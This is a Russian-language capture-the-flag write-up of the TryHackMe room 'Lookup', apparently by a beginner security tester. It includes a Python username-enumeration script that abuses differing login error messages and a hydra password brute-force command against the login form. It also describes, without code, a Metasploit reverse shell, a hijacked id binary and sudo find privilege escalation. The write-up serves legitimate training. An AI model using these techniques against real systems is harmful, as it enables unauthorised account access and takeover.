Lookup


Исполнитель: Тестирование выполнено Кравцовым Николаем, начинающим специалистом по информационной безопасности в 13:51 *(Очень простая комната, подходят для начинающих, но уже довольно хорошо знающих веб специалистов)*. В этот раз я решил убрать порядок использованные службы и найденные уязвимости.

Использованные файлы:

  • user.txt - флаг.
  • root.txt - флаг.
  • py.py - поиск нужных имен пользователя, абузим ошибку разраба :)
  • id - фейковая команда для получения файла с паролями.
  • passwd - тот самый файл с паролями, который мы скопировали.

Порядок действий:

1) Запуск openvpn для доступа; kex для того, чтобы сделать linux удобнее

  • kex --win && sudo openvpn Kolya080808.ovpn

    2) Сканирование портов с помощью nmap.

  • Результаты:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

3) Запуск Gobuster для поиска директорий.

  • Результаты:
Ничего не дало.

4) Т. к. ничего интересного gobuster не нашел, я пошел смотреть на сам сайт:

  • Результат:

    5) Я попробовал разные имена пользователи и пароли, но тщетно. Зато я обнаружил, что при вводе имени пользователя "admin" он выводит не "Неправильный логин или пароль", а "Неправильный пароль". Поэтому я начал энумерацию пользователей с помощью вот такого скрипта:

  • Находка:

  • Скрипт:
    import requests
    
    url = "http://lookup.thm/login.php"
    
    wordlist = "/usr/share/seclists/Usernames/Names/names.txt"
    
    try:
        with open(wordlist, "r") as f:
            for line in f:
                username = line.strip()
                if not username:
                    continue
                data = {
                    "username": username,
                    "password": "asdasdasd"
                }
                response = requests.post(url, data=data)
                if "Wrong password" in response.text:
                    print(f'username found: {username}')
                elif "Wrong username" in response.text:
                    continue
    except requests.RequestException as e:
            print(f'An error occured: {e}')
    
  • Результат:

    6) К сожалению пользователя jose мне пришлось подсмотреть в волскру, потому что была слишком долгая энумерация. Теперь мы можем подобрать пароль для пользователя jose с помощью гидры:

  • Команда:

    hydra -l jose  -P ../rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -V
    
  • Результат:

    7) Заходим в панель управления, добавляя в файл /etc/hosts новый сабдомен, и смотрим, что можно сделать:

  • Результат:

    8) Загуглив, я нашел CVE-2019-9194 и использовал его в метасплоите для получения reverse shell:

  • Результат:

    9) Далее я решил посмотреть, какие файлы мы можем использовать для повышения привилегий, и один бинарь меня заинтересовал:

  • Результат:

    10) Понимая, что делает этот файл, я подменил файл /usr/bin/id на свой и получил доступ к списку паролей пользователя think:

  • Результат:

    11) Делая простой перебор паролей я зашел по ssh и прочитал user.txt:

  • Результат:

    12) Далее для повышения привилегий я просмотрел с помощью sudo -l что может сделать пользователь think от root, и нашел команду find:

  • Результат:

    13) Ну и с помощью GTFObins прочел root.txt:

  • Результат:

Примечание

Примечание: Комната простая, но вынюхивать что можно сделать надо долго. Мне понравилась, но я мог сделать и быстрее, если бы сразу понял, что с моим скриптом будет очень долго искать jose)) Спасибо TryHackMe за комнату!

Видео выполнения


Загрузки

Download files archive